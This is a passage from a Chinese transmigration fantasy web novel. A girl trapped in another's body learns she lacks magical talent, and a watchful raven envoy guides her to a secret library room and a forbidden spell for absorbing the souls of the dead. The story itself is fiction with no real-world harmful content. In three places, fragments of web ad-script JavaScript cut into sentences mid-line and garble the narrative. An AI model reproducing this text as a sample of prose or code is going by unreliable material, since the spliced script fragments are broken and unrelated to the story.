上学,基础原理,包括舅舅做过的试卷,证明了他们的法术很大概率都是在学校里面学到的,至少基础理论是。 罗丽娅女士是舅舅的得力助手,所以她应该知道原主一直与母亲住在小城市,考虑到边远地区与发达城市之间的教学资源差距,她不会故意送一些超出原主现在所学范围的高深教材,否则那有什么意义?完全起不到补习的作用还讨人嫌。 看先前林溪晗对罗丽娅的态度,连午休都要强制加班,典型的黑心资本家形象,这样的人不太可能会向下属透露有关于自己亲戚的事情,别人顶多知道他有个在外地的妹妹和外甥女,具体情况如何就不是很清楚了。 于是这位来自侏儒族的小小姐就会理所当然地认为:既然舅舅是强大的修仙者,那外甥女肯定也拥有天赋,就是不热爱学习罢了。 林瑶原本也是这么以为的。 然而…… 少女坐在椅子上,怔怔地注视着眼前摆满桌面的书本。 语文、数学、政治和地理……全都是她作为文科生时最熟悉的教程,却唯独没有她在此时此刻最想看见的涉及神秘学的陌生书籍。 翻开的日记布满了凌乱笔迹,映照出一位走投无路向神明祈祷的女孩在绝望下的疯狂,却没有任何关于修炼成长的字眼,“献祭”这个词语仅出现过一次便永久消失了,更多的是同母亲和朋友游玩时的吐槽感悟。 可能吗?作为修真者,生活中关于修仙的一点蛛丝马迹都没有。 日记本上的内容干干净净,如同忙忙碌碌的普通人日常度过的每一天,所谓的魔法不过是她的一场天真幻想。 极其突然的,林瑶想起了刘叔发表的那番古怪言论,想起了林溪晗在听见她说要自己掌握力量时,脸上那转瞬即逝的一抹错愕以及随之流露的深切忧伤。 她终于明白了青年为何会露出那样的表情。 因为他知道,自己的外甥女是没有任何资质的普通人,无论再怎么努力也没法通过修炼变强。 他会答应林瑶帮她训练、每晚炼丹药改善她的体质,仅仅是出于一种哄小孩的心态,并非真的认为她能够成功。 而刘叔会鼓励她坚持跑步,也是因为他们都是弱小无能的普通人,面对强者,身体不够强壮逃得不够快便只能等死。 ……怎么会这样?怎么可能会这样?! 她颤抖着,喉结滑动,不愿接受现实地打开浏览器搜索——中途手抖得差点拿不稳手机——可是紧随其后弹出来的页面却几乎刺痛了她的眼。 【放弃吧,这个世界是分普通人和其他有资质的人的,存在魔力的天之骄子自然分配有专属的课程,至于普通人嘛……】 【当然只能上普通的课程,安安分分地过完 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 平庸的一生啦。】 啪! 手机重重地摔落桌面,林瑶弯下腰,额头磕在桌上,十指紧紧抓着头发,拱起的脊背颤动着,仿佛有座大山死死压住了她,快要把少女给压垮了。 晶莹剔透的眼泪宛若断了线的剔透珍珠,一颗一颗地砸落在书桌上,晕染开深沉的墨迹。 她要变强,唯有变强才能找到回家的道路,这是自己唯一的希望。 但如果……打从一开始她就被断绝了拥有力量的机会呢? 难道她要一辈子都被困在这个陌生的世界吗?永远回不了家、永远见不到父母吗? ——我不要!!! 害怕自己会被发现杀死的恐惧、骤然失去目标前路茫茫的惊慌、无法向人倾诉的压抑和痛苦……通通化成铺天盖地的绝望海啸深深淹没了这个仅有17岁的女高中生。 林瑶快崩溃了,快被“穿越”逼疯了。 她真的不知道自己为何会被选中,明明地球有几十亿人口,为什么只有自己那么倒霉? 为什么?! “爸爸、妈妈……”女孩蜷缩成一团紧紧拥抱住自己,闭着眼睛,哽咽着,任由泪水滑落打湿手背。 在最绝望的时刻,第一个涌上心头的、下意识依赖的、不断高声呼唤的——永远是万能的父母。 然而总是在她受伤难过的时候赶来安慰自己并为自己撑腰的爸妈,这一次不会出现了。 她只有自己,只能依靠自己。 “一定有办法的……一定还有办法……” 少女呢喃着,抬手擦掉泪珠,用力吸了吸鼻子,眼睛红彤彤的,使劲拍打脸蛋重新振作。 ……林瑶啊林瑶,你现在哭还太早了,至少要尝试完全部方法才能哭,不能试都没试过就放弃! 她平复呼吸,等情绪重新冷静下来再捡起手机打开屏幕,进入论坛尝试搜索【普通人】和【变强】的关键词,页面很快又弹出一个新帖子。 帖子里依旧是许多好心劝楼主放弃的发言,不过林瑶并不气馁,坚持不懈地一条条认真翻到最后,总算是在众多回复中找到了一条有价值的评论。 [可乐雪碧二选一]:楼主我明白你的感受,但命中注定没有的东西你非要强求只会导致毁灭,早日认清事实比较好,不然哪天执念过深要是把手伸向禁术你就彻底完蛋了,裁判所那群恐怖的家伙才不会听你解释呢…… 禁术? 林瑶的目光瞬间定格于那两个字上,指尖无节奏地轻轻敲打桌面,她若有所思。 果然啊,不管是什么小说,禁术都是绕不开的永恒不变的话题。 坏人想要做坏事、急躁的修炼者想要走捷径、卑鄙的贪婪者或渴望复仇的受害者想要获得力量……禁术就是为了完成他们的目标才会被创造出来的东西。 ——如今,也唯有禁术能够实现她的心愿。 可是禁术通常伴随着巨大代价,加上裁判所的威胁……确定要做吗?可能还有别的办法呢?不需要动用禁术的办法,网上找不到就去别的地方找,天无绝人之路,总能找到的。 林瑶有些犹豫,食指摩挲着拇指,无意识地抿紧嘴唇,眼帘低垂,隐隐流露出一丝凝重,大脑在疯狂运转不停地分析利弊,心中的天秤摇摆不定。 但最终,她还是下定了决心。 倘若不赌这一把,单靠强者怜惜指望别人送自己回去,才是真的彻底斩断了唯一能够回家的路。 不赌到结局,她不甘心。 这是自己经过深思熟虑后做出的决定,哪怕赌输了林瑶也决不后悔。 不过可以的话,能赢就最好了呜呜呜……QAQ 拿稳主意,林瑶安下心来,眼神逐渐变得坚定。 说到底猜测只是猜测,她得先想法子测试自己是否真的没有灵根,若确实没有……那就旁敲侧击多问几个人无资质者能不能跟着修炼,实在不行,便只能冒着被裁判所发现的危险偷学禁术了。 无论付出什么代价,她都要变强,然后—— 回家!高考! 大拇指擦过鼻尖,恢复往常状态的林瑶元气满满地推开椅子站起来,正准备收拾桌面躺回床上继续玩手机,啊不,是搜集情报。 结果刚放好一本教科书,余光瞥见日记上的“献祭”两个字时,她忽然愣住。 看着白色纸张上仿佛丧失了理智的癫狂笔迹,林瑶因之前的强烈动摇从而产生些许疲惫的脑子里蓦地闪过一道白光,发现了一处细节,一处……不该被忽略的致命漏洞。 这一瞬间,她如坠冰窟。 既然林溪晗知道自己的外甥女其实是一个没有魔力、压根不能修炼的普通人,那么…… “我”,会不知道这件事吗? 8. 谎言 次日清晨。 跑完三公里成功挥铁剑挥到十六下的林瑶喘着粗气,接过身旁男人递来的干毛巾擦掉额头上的汗珠,咽了口唾沫转头看向对方。 “辛苦了,小瑶,喝杯水吧。”陪着自己锻炼却连根头发丝都没乱的林溪晗面露心疼地打量着快要累趴下的外甥女,等她平复完呼吸才从空间戒指里取出一杯温水递过去,柔声叮嘱一句,“慢点喝。” 林瑶十分乖巧地应了一声,捧着杯子一小口一小口地喝完整杯水,拿毛巾擦掉嘴边残留的水渍后把玻璃杯还给人家。 林溪晗忍不住抬手摸了摸她毛茸茸的脑袋,心情很好地笑着问:“早餐想吃什么?” “油条和豆浆。”林瑶没点贵重的东西,毕竟她知晓自己不是原主,没资格缠着原主的舅舅理直气壮地要求这要求那。 ……唉,要是我家那个小舅舅在,我早就不客气地点一碗加青菜的海鲜粉配辣椒酱吃了。 少女叹着气,那张漂亮的脸蛋上无意识地显露出一丝遗憾。 “真的吗?你刚锻炼完身体,正是需要补充蛋白质的时候,只吃两根油条和豆浆能饱?” 林溪晗不信,觉得女孩在撒谎,用那种不赞同的目光盯了她好一会,然后就带着她离开公园直奔路边的早餐店,指着墙上悬挂的菜单没点油条豆浆,而是点了碗猪杂粉。 “微辣加青菜。”向老板熟练提要求的林溪晗付完钱微笑着望向身边人,语气温和,“我记得小瑶你以前喜欢这个,每次我回来你总是缠着我要我去买粉给你做早餐,怎么一长大你反倒跟舅舅生疏了呢?” 说着说着他眼中不免浮现出少许疑惑。 林瑶一惊,没想到原主在这种地方都和自己那么像,发觉对方的表情有细微变化的她暗道不好,连忙摆手否定,试图打消疑虑:“不是你想的那样啦!” “我只是觉得……这段时间舅舅你一直费心照顾我的生活,连工作都抛下了,心里有些难受……”她嗫嚅着,声音放得越来越轻,惴惴不安地时不时抬眸看他一眼,双手无措地揪着衣摆,抿了抿嘴,“就不想再麻烦你。” 林溪晗一听,眼里果然流露出一抹欣慰,但很快又转变为怜惜,摸摸她头顶温柔地开口:“小瑶你不用为我着想,我是你的舅舅,是你的家人,你拥有撒娇任性的权利,无论你提出多么过分的要求我都会尽力满足你的。” “我永远不会对你生气。” “……嗯。”本该感动地扑上前紧紧抱住舅舅的少女却低垂着眼帘,轻声回应,平淡的情绪并未对此产生任何波动。 林瑶相当清楚他之所以会这么说是原主的缘故,与她一个外来者无关,心神自然不会动摇,更不会松懈,甚至为了成功应付过去这一关而松气,冷静理智得可怕。 她暗暗琢磨:看来以后可以适当地“任性”一下,免得又引起怀疑,招惹来试探。 林溪晗瞧着明显正在思考什么问题的外甥女,没有出声打断她,仅仅移开视线瞥向少女身后。 人来人往的街道旁有一根细长的电线杆,杆顶站着几只飞累了停下来休息的夜鸦。 青年的眼对上了其中一只,在那双暗红色的非人类的竖瞳中,他看见了女孩的背影。 纤细,娇小,脆弱得不堪一击,恍若张开翅膀在花丛间飞舞的美丽蝴蝶,无需用力就能轻易撕碎它自由的蝶翼,却那么拼命,顽强又坚定地在这条长满荆棘的道路上挣扎着活下去。 唉……林溪晗无声叹息,伸手拍了拍她瘦弱的肩膀,在对方望过来时微微一笑:“先吃饭吧。” “哦。”林瑶眨了眨眼睛,乖乖答应,不知为何她总感觉舅舅的心情不是很美妙。 等两个人坐下,她又瞧见林溪晗向老板要了碗甜豆腐花放到一旁,显然是留给其他人的,不打算自己食用,于是好奇。 “舅舅你约了朋友吗?” “恩?没有哦。”林溪晗耐心解释,“这碗豆腐花是上供给使者的。” “祂不是经常跟着小瑶你吗?我想祂可能是喜欢你,就邀请祂和我们一起用餐。” 哈?林瑶简直满头雾水,什么使者……啊! 忽然想起自己刚穿越时在洗手间看到的那只吓人乌鸦,她倏地睁大眼睛,难以置信——敢情对方一直像个鬼一样在她身边盯着?! 这也太恐怖了吧?谁想被监控器喜欢呀?!又不是变态! 虽然林瑶的内心在疯狂咆哮,强烈抗拒与锦衣卫一起吃早餐——肯定会胃痉挛的吧——可面上不能表现出来,只能努力隐忍着点头同意。 浑身漆黑的使者大人果真受邀前来,收拢翅膀轻巧地落到餐桌上,鲜血般的冰冷竖瞳倒映出少女略微不自在的神情,却什么表现都没有,平静地扭过头,倒也不嫌弃供品只是区区一碗豆腐花,非常给面子地低下脑袋啄饮糖水。 不得不说,夜鸦大人这个样子莫名给人一种祂脾气挺不错的感觉,至少林瑶慢慢放松了下来,与祂同席不再紧张。 “对啦,舅舅。”有大人物在场不敢放肆的林瑶挺直腰板,小心翼翼地拿筷子夹粉条,嗦一口嚼了嚼咽下去,低声告诉旁边正优雅掰开馒头沾牛奶的黑发青年,“我待会想出去找朋友说一下转学的事,可能中午和晚上都不回家吃饭了。” 林溪晗点点头表示知道了,拿出手机特别大方地转钱:“临别之际跟朋友吃顿大餐吧,好好玩,不要留下遗憾。” 觑着支X宝的余额上凭空多出的几位数,林瑶沉默一会扬起头,缓缓应声:“收到。” 妈耶,她这辈子都没见过几位数的零花钱,这要是自己的亲舅舅,她绝对第一时间扑上去狠狠亲他!亲到他想哭! 呜呜呜……霸道总裁真好啊,林瑶终于明白为啥大家都喜欢写《霸道总裁爱上我》了,如此有钱豪爽的总裁请再多来点!她承受得起! 抹着虚假的眼泪与舅舅在十字路口分别,林瑶打开手机的缺德地图开始搜索教堂的位置,毕竟上次是舅舅使用法术瞬间到达的,没实际走过,因此她还真不知道教堂怎么去,又不能问,只能靠导航了……希望别把她导水沟里吧。 “目的地——大教堂,全程2.45公里,骑行大概需要12分钟。” 林瑶一边听语音播报一边在停车位找了一辆共享单车,刚坐上去准备按导航路线出发,结果想起什么猛回头—— 之前跟他们共享美食的锦衣卫大人就蹲在一旁的瓷花坛上,仰着小脑袋,用那双暗红色的眼眸静静地注视着她。 林瑶:“……” 夜鸦:“……” 林瑶:“…………” 夜鸦:“…………” 一人一鸟对视了许久,察觉对方并不打算离开,无法改变别人想法的平凡少女最终还是败下阵来,满脸无奈地抓挠抓挠头发,妥协了。 “我要去教堂,可以顺路载您一程,那个……教堂应该算是您的家吧?”林瑶用商量的语气谨慎试探,“我把您送回家后,您能否不要再跟着我了?” “您看,您都观察我几天了,如果我有犯罪,您肯定早就通知裁判所的人抓我了,既然没通知那就证明我真的是个良民,您没必要把时间浪费在我这种小人物身上,外面还有许多穷凶极恶的罪犯和异端等着您追踪呢。” 林瑶讲了大半天对方依然毫无反应,没办法,她只好暂时收声不再尝试劝说,也不管祂会不会跟上自己,直接拧动车把开车上路了。 *** 在陌生的异世界骑着熟悉的共享单车是一种什么体验? 没人能描述清楚。 但是林瑶感受着迎面吹来的冷风,余光瞥见身侧同自己并驾齐驱的是一头狂奔的母猪,母猪上坐着的是一具不穿衣服的骷髅架子,人家注意到她的目光甚至还扭转脊椎骨“咔吧咔吧”地活动下巴似乎很友好地在跟她打招呼时……她被吓得差点翻车,世界观都不知崩溃重建多少回了。 正当林瑶犹豫着要不要回句“你好”的时候,骑着帅气的飞行器从天而降的警察同志就逮捕了对方,因为有带小孩的家长举报他不穿衣服到处裸奔,公然违反《治安管理处罚法》,要被捉走拘留十天。 骷髅架子不服气就现场跟警察辩论:我这个种族就是这样的,你们不能搞种族歧视!只有异端才搞种族歧视!我要打电话向教会投诉你们! 警察则回复:没有人搞种族歧视,不管是什么种族都不能在街上裸奔,太露骨了影响不好,倘若小孩子看见学你怎么办?至少披件黑袍遮一遮啊…… 四周看热闹的围观群众也开始交头接耳、窃窃私语、指指点点,公说公有理,婆说婆有理,意见完全不统一, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嘈杂得很。 林瑶:emmm……就、就很难评。 不过挺有意思的,若不是她还有事情要做,估计也会留下来讨论一番,今天只得先放弃了,唉。 待抵达教堂的大门口,恰巧撞上洛克主教分发糖果给贪吃的孩子,现场人多,不好直接询问,林瑶便先找了个位置停好单车慢悠悠地走到大树底下,本来想等主教忙完再过去的,却被一位神官误解也得到了他们赠送的一袋水果软糖。 “不,我不是要……”林瑶试图解释来意,然而对面的神官却用那种理解的慈爱眼神注视着她,显然不管她说什么他都会觉得她是碍于青少年的自尊心不好意思收下才找借口的。 于是林瑶果断放弃了说明,反正她刚刚吃一颗发现还挺美味的,不吃白不吃嘛。 就这样,少女嚼着软糖背靠大树安静等候。 洛克主教发完所有糖果后一脸慈祥地挨个摸了摸孩子们的头顶,又笑着一一挥手回应众人稍显稚嫩的“主教大人明天见”的告别声,这才调转方向朝待了很久的林瑶走去。 “噢,这不是小瑶吗?怎么一个人过来?是跟舅舅发生矛盾了?”惯常带着一口翻译腔的老主教捋了捋雪白的胡子,笑眯眯地对着女孩调侃旧友,“我就说他那个脾气得改改吧~” “不是的,舅舅性格很好,我们并未发生矛盾。”一听这话,即使明白对方在开玩笑,林瑶依旧下意识地替林溪晗辩解,不愿让人误会。 “我知道我知道,小瑶你是一个很爱家人的好孩子。”洛克主教微微一笑,随即转移视线望向她背后,态度变得恭敬起来,“使者,您也来啦。” 漆黑的夜鸦扇动着翅膀从高空飞下,宛如一片雪花轻飘飘地落到少女肩上,却在降落的前一刻收回了尖爪没有抓疼她。 老主教见了轻挑眉梢,笑眯眯的:“看来这位使者大人格外喜欢你啊,小瑶。” “真是难得。” 但林瑶无法感同身受地高兴,这种被人随时随地监控的荣幸谁爱要谁要,她才不想要呢,不过当着主教的面不能这么说。 想到自己要问的事,她抿着嘴迟疑了一阵,等做足心理建设后暗中捏紧拳头大着胆子看向这位长辈。 “主教大人,我今天来是想询问您一件事的。”由于太过紧张,少女的心脏怦怦乱跳,平日里清脆悦耳的声线此刻竟控制不住地隐隐透出几分忐忑不安的颤音,像是走投无路的疯狂赌徒在绝望之下将一切都压在了最后一把上祈求翻盘。 “我……能不能变强呢?” 其实林瑶依然不太敢独自面对教会人员,可是她没有办法,因为网络情报会存在不足容易产生误导,在这种事情上,教会才是权威。 所以要想真正地确定,只能冒着危险来找教会,加上舅舅与洛克主教是老朋友,她被怀疑是图谋不轨的可能性相对减弱,错过了这一次,去到帝都或许就没有如此好的确认机会了! 对方果然表示诧异,不解地反问:“怎么会突然想要变强呢?这世界很安全,况且凭溪晗的实力无论发生什么危机他都能保护你的。” 林瑶听了在内心默默提高舅舅的危险性,脸上却拿出了自己毕生的演技流露悲伤,表情逐渐黯淡,低声呢喃:“我就是不想再这样下去,一辈子弱小得只能受舅舅保护。” “母亲生病的那一天我无能为力,眼睁睁看着母亲被病痛折磨日渐消瘦却什么都做不到,那样的绝望和痛苦我不想再体会了,我只有舅舅了,如果舅舅哪天身陷险境我却帮不上一点忙,仍旧旁观的话……” “我一生都不会原谅懦弱无能的自己。” 林瑶经过深思熟虑给出的理由几乎无懈可击,洛克主教相信了她,捋着胡须不由叹气,凝视女孩的眼神充满同情。 正是同情,他才会面露不忍,接下来的话就更加难以开口。 但他最终还是开口了。 “我无意打击你,孩子,然而每个人的命运都是主早已决定好的,若是非要强求……只会招来毁灭。” “不仅是你,连溪晗也会被卷入其中不能抽身。”老人缓慢说道,宁静温和的眸子里含着郑重,沉甸甸的,让林瑶深刻感受到了那份极度认真的劝告之意。 “因此——千万不要做傻事,不要犯下无可挽回的重罪,我亲爱的孩子。” 9. 寻找 “每个人的命运都是主早已决定好的,若是非要强求只会招来毁灭。” 林瑶听着这句话,像是被法庭上冷酷无情的审判长亲自判处了死刑,她呆呆傻傻地怔愣在原地,大脑一片空白。 虽然对此结论早有预料也做好了心理准备,可当自己亲耳听见时依旧有些不能接受。 她花了几分钟才把情绪重新调整完毕,从恍惚之中回过神来,注意到老主教担忧的眼神,勉勉强强地对他挤出一个笑容。 “我没事,请您放心。”林瑶一边应对来自长辈的关心一边分神思考,既然确定了自己无法通过正常手段去修炼,那就只能冒着被裁判所发现的危险偷学禁术了,同时还得考虑学习哪种禁术付出的代价才不算严重。 不过目前最重要的是……她该去哪寻找禁术呢? 禁术又不是平常学的语文数学地理,随时都能在网络上查到,这种东西肯定被藏得很深,教会的藏书库应该是有的,但她又不敢潜进去偷,话说她也没那个能力吧。(=_=) 异端? 不不不不,教会和异端不共戴天,而且教会势力庞大,连帝国的皇帝都拿他们没辙,投靠异端跟投入死神的怀抱有什么区别?嫌死得不够快?再说了她也不想和□□打交道,会对平民百姓下手的能是什么好东西? 向解答了自己疑惑的洛克主教鞠躬道谢,礼貌地与对方告别,林瑶单独走在路上继续琢磨,却始终找不出解决方法,愁得眉毛都要拧成死结了。 该咋办好呢? 一直舒舒服服蹲在少女肩膀上休息的夜鸦,见她露出苦恼的神情,歪头想了想,扇动翅膀飞向远处的公示栏,示意她跟上。 林瑶面露不解地眨了眨眼,但还是依照锦衣卫大人的指示乖乖走过去,然后就看见公示栏上张贴的有关图书馆招聘管理员的海报。 她顿时愣住,视线略过海报里的“招聘”,停留在“图书馆”三个字上。 图书馆……对呀!图书馆! 要说最有可能存在禁术的地方除开教会的藏书库和异端的手中,剩下的就只有帝国的图书馆了! 更何况夜鸦不会闲得无聊随便乱指,不管实际有没有,她总要去找一找才死心。 终于有了目标的林瑶一下子兴奋起来,立刻找到一辆共享单车开始搜索导航路线。 当然,她并未忘记今日的大功臣,先是毕恭毕敬地请使者进车篮,确保人家蹲稳以后才抬腿跨过垫子扭了扭屁股坐好拧动车把猛冲出去直奔目的地,要不是有规定的最高时速,恐怕她能创造史上第一个共享单车超越轿车的奇迹。 穿过人行道,穿过桥梁,少女在十字路口焦急等绿灯,绿灯一亮直线冲速,绕开栏杆,图书馆的大门近在眼前。 加速,加速。 林瑶猛地冲入暗道又“吱——”的一声紧急刹车来了个托马斯回旋大漂移直直撞进负一楼的停车库,轮胎与地面擦出一道激烈的火花,吓得旁边坐泡泡船的美人鱼先生飙泪飙出一串粉珍珠,呜呜呜地哭着轻拍胸膛,瞧着可怜极了。 “对不起对不起,我第一次开这么快没控制好速度,下次保证不会了。”林瑶不好意思地挠着后脑勺对这位脆弱易碎的美人鱼先生道歉,目光却忍不住飘向那堆砸在地上的粉珍珠。 哇塞,原来故事里说的人鱼哭泣时掉落的泪水会变成珍珠是真的……那她偷偷捡走几颗拿去卖不就能赚很多钱了吗? 敏锐地察觉到这个人类女孩怀抱的小心思,人鱼先生瞬间哭得更伤心了:“哇——我就知道你们人类全都觊觎我的美色!坏蛋!” 单纯又愚蠢的高中生条件反射地为自己辩解:“我没有,我只觊觎你眼泪变成的珍珠,不觊觎你。” “……呜哇哇哇哇——!!!” 好像越说越错,对方嚎叫得愈发大声了,头疼。 林瑶在那手忙脚乱地安慰不仅被自己吓哭还伤到心的无辜受害者,好不容易能送走人家,她已经筋疲力竭得把刚才的激动情绪全部消耗光了,内心彻底冷静下来,也不算坏事吧。 默默旁观的夜鸦从车篮内飞出驻足于她的肩膀,林瑶推开图书馆的玻璃门,一眼瞅见许多人坐在各自的位置上或翻阅书籍计算数据或打开笔记本电脑敲击键盘,高至天花板的排排木架前也有临近考试的学生寻找自己专业课的相关教材,大厅里安安静静的,无人出声扰乱气氛。 受其氛围感染,林瑶不敢随意开口,问了一下前台魔法修仙类的架子在哪就自己去找书。 馆内涉及神秘学的书本摆满了整整七个大房间,可是林瑶找了大半天,从早上九点到太阳落山准备闭馆都没有找到她想要的,反而累得她气喘吁吁,今天只吃一顿早餐饿得肚子咕咕响,体力快撑不下去了。 正当林瑶预备放弃等到明天再战时,始终保持沉默的夜鸦忽然腾空,张开翅膀飞往某个方向,似乎在给她带路。 林瑶先是愣了一下才反应过来赶紧追上,跟着对方七拐八拐地穿梭于各条通道,最终来到一间大门紧闭的显然藏有重要秘密的房子前。 期间他们幸运地没有撞见馆内的工作人员,安保系统也没有发出警告,更没有密码锁和守护结界,一路走来畅通无阻顺利得过头,不禁让人怀疑监控室的警卫是否全体眼瞎。 “这是……”隐约察觉到异样的少女怔住,迟疑着停下脚步,但漆黑深沉的厚重铁门已经感应到人的气息缓缓向外开启,夜鸦飞了进去,小小的身影瞬间被黑暗吞没。 见状,林瑶咬一咬牙也闯进屋,反正早在自己决定偷用禁术的那一刻起便犯重罪了,被发现就是关入大牢判死刑,事到如今还有啥好怕的?不是说要一直赌到结局吗?冲! 不断地在心里给自己打气,总算不那么害怕的林瑶观察着周围环境。 铺有一层灰的木架,银白的蜘蛛网布满屋顶,封面破烂的古籍堆放于角落,青石砖打造的桌椅,两盏煤灯被随手摆在桌面上,摇曳不定的昏黄烛火模模糊糊地照映出室内的黑色影子,显得此处阴森暗沉,充斥着腐朽枯萎的不祥之气。 使者就站在柜台的一堆书本上,静静地注视她的行动。 林瑶抿着嘴犹豫了一会,目光扫视一圈,估摸着那些应该就是自己需要的东西,但刚走出半米又猛地停下脚步没有靠近。 想到一件事,少女望着夜鸦的眼中徐徐升起一抹警惕。 对方该不会是觉得这几天的监控都没抓到她的马脚就故意在这里设下陷阱搞钓鱼执法吧?要是自己真的碰了禁术便立马通知裁判所的人来捉她? 很有可能啊! 啧,不愧是锦衣卫,真是狡猾,若不是她机灵就上当了! “……”夜鸦依然沉默不语,仅仅瞥了女孩一眼,又飞到她面前,当林瑶条件反射地用双手接住祂时低头啄了一下她的指尖。 手指被戳,林瑶吃痛地嘶了一声,却牢牢捧着祂始终没有松开。 她盯着被啄的手指,流了点血,目前没啥大碍。 正当少女准备开口询问挨戳的理由时,非常突然的,仿佛病毒入侵系统,一段略显尖锐的杂音硬生生地挤进了自己的脑壳,高举的铁锥朝着太阳穴狠狠砸下,刺穿,那一瞬间袭来的疼痛激得她下意识抱紧头颅扭曲着脸庞发出凄厉的惨叫。 在破颅般的剧痛中,林瑶竟奇妙地骤然理解了那段杂音想要表达的内容。 祂说—— 「3015年11月2日,18点34分51秒

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > ■■与林瑶在此刻签订永恒契约,■■不得透露有关林瑶学习禁术的一切事宜,若违背,■■将坠落于无尽深渊饱受地狱之火焚烧,永世不得解脱。」 等那道回荡于脑内的冷淡嗓音渐渐消失后,林瑶也从痛苦之中慢慢缓过了神,大概理解了使者潜藏于这一举动下的含义,于是更加震惊。 她知道什么是契约,问题是——为什么?! 不仅带领自己找到禁术还为自己保密,这样做对祂有何好处?偷学禁术不是违反教会规定吗?身为主的使者帮助别人使用禁术真的好吗? 难道祂其实是原主素未谋面的亲生父亲?如此说来她确实没见过原主父亲的相关情报,本以为是单身母亲独自抚养孩子长大结果不是? 咦?可不对呀,假如祂真是原主父亲,那舅舅为啥会是那种完全不认识祂的恭敬态度呢?莫非祂当年是出了什么意外不得不离开老婆和女儿还被主变成了一只乌鸦替主巡视人间? 林瑶的思路越跑越偏,都要偏到“年少时被主满门抄斩的老父亲忍辱负重多年为替亲族报仇才隐姓埋名当卧底,因不想连累妻女只好假装成一个莫得感情的冷酷杀手,然而始终控制不住想家的情绪遂经常背着主偷偷跑回家照顾可怜女儿……”去了。 嘶——不得不说这个设定挺带感的,爱了爱了。 杂七杂八的无用念头占满了少女的脑袋,但是最后终结她的离奇脑补的——却是莫名其妙跳出来的那本属于原主的日记。 【我会为您献上满意的祭品。】 抛开那些不靠谱的猜测,对主极为忠诚的使者之所以会跟踪她、帮助她,如果理由与原主无关的话,那么有没有一种可能,打从一开始祂们盯上的……就是身为穿越者的[林瑶]? 这就说明了为何自己穿越的第一天使者就出现于她的周边,为什么使者格外喜欢她并对她这般友好,因为在祂眼里——她属于主,是献给主的礼物? ……我,已经成为了主的祭品? 林瑶顿觉毛骨悚然,一阵寒意悄悄爬上了她的脊背,全身好似浸泡于冰水,冻得心脏发凉,额头隐约渗出几滴冷汗,却连动都不敢动,垂落于身侧的手指弯曲僵硬。 力量。 她必须得到力量。 这个想法第无数次地冒上心头深深扎根于大脑。 没有力量只能任人宰割,别说安全回家,连决定自己的命运都做不到,拥有力量才拥有话语权,才能在危险到来时保护自己,才能反击敌人。 不过还好,她仍可以自由行动,看来主暂时不需要祭品做事,算目前唯一的好消息,当然这一切都是自己的猜测,说不定真相并非如此呢,不要太悲观。 唉,不管怎样还是得先变强,既然使者愿意帮她那就利用这一点赶紧提升实力,至于以后的事便等以后再说吧。 思及此,林瑶立马放宽了心又厚着脸皮求助,反正帮都帮了干脆送佛送到西嘛:“大人,请问您有什么好的推荐吗?代价不高的那种。” “……”夜鸦盯着她看了一会,似乎觉得无语。 祂瞧着林瑶那副死猪不怕开水烫的理直气壮的模样,略感头疼地闭了闭眼,重新睁开时竟然真的扇动翅膀飞向书架用爪子抽出某一卷竹简扔到了她面前。 “哇——感谢您,大人!” 不曾想居然会天降意外之喜,林瑶顿时美滋滋地向对方道谢,拉开椅子入座急忙翻阅,一目十行地往下读。 竹简上写的也不是多复杂的东西,一大段描述加一个法阵,很快就能看完。 昏暗的烛光下,林瑶抬手摩挲着下巴眯眼,视线定格于繁复的图案上,满脸的若有所思。 要借用……亡灵的力量? 10. 禁术 看完后,林瑶大概了解了这个法术。 通过吸收灵魂增强力量,代价是会继承亡者生前的记忆并有被夺舍的风险,而无法与那股庞大的信息量相抗衡导致自身意识被碾碎变成疯子神经病的使用者光是记录在册的就有数十人,如此严重的后果难怪会被教会列入危险禁术名单。 老实说,要不是没得选,她还真不想碰这玩意,感觉会把脑子撑爆。 但简单翻了翻其余摆在桌面的禁术,林瑶发现它们的启动条件不是要搞血腥献祭就是要吃人,作为一位生长于五星红旗下的共青团团员,她怎么可能接受自己的强大是建立在夺取别人的性命之上啊?!比较一下还是吸收亡灵要好一点,起码不用杀人。 虽然早就做好她肯定会干坏事的心理准备,可当自己真的直面这个残酷的现状,要亲手打扰逝者安息甚至要毁灭他们时……林瑶依旧沉默了。 “……我们就去野外吧,那里或许有孤魂。”安静许久,不清楚在想些什么的少女才轻声说出这一句。 “墓园,不能去。” 即使内心已经决定了无论付出何等代价都一定要变强,哪怕将来的自己会杀人放火浑身沾满无辜受害者的鲜血,至少现在的她不愿违背那一点点小小的脆弱的可笑的原则。 我真是一个虚伪又自私的混蛋啊。 林瑶十分平静地想道。 *** 赶在夜晚闭门之前,他们没有引起任何人注意地悄悄离开了图书馆,谁都不知道曾经有胆大妄为的坏家伙潜进密室偷学禁术。 此刻已是傍晚七点四十五分,街上出门逛街玩耍的人越来越多,五彩斑斓的光照亮夜空,超市和商场热闹非凡,路边的餐馆更是挤满了一堆游客。 手握巨款的林瑶特意带着夜鸦去了一家网上好评率颇高的自助餐厅,毕竟要上供给使者大人的供品总不能显得太寒酸嘛。 一人一鸟吃饱喝足后闭着眼睛摸肚皮,葛优躺地休息了一会才挣扎着从柔软的沙发里爬出来,到巷子内的小店买些纸钱香烛,拎着一堆东西搭乘班车赶至边远郊区又步行两公里抵达山林。 感谢这两个星期强压自己锻炼的舅舅,不然她早就累趴在半路打电话给救护车让人抬着自己回家了。 暗沉的森林,茂密的枝叶,娇艳欲滴的野玫瑰傲然绽放尽情舒展她的美,杂草丛生的小路上虫鸣与蛙叫合奏夜曲,莹白的月光投落人间为到此做客的旅者指明前行的道路。 行走于这片森林的清秀少女左手拎着一个装满东西的黑色塑料袋,右手紧紧抱着一只乌鸦,抿直嘴,表情肃穆,一直在警戒四周,身体绷得死死的,随时因为一点风吹草动就飞窜出去逃离,简直把“怂”这个字演绎到了极致。 不过可能是使者跟在自己身边的原因,又或者是舅舅送给自己的各种防身法器透露出了危险气息,总之这一路上碰见的许多次异样都是虚惊一场,不值一提,呼——真是幸运女神保佑……啊不对,在这个世界是不是该改口感谢主的庇护呀? 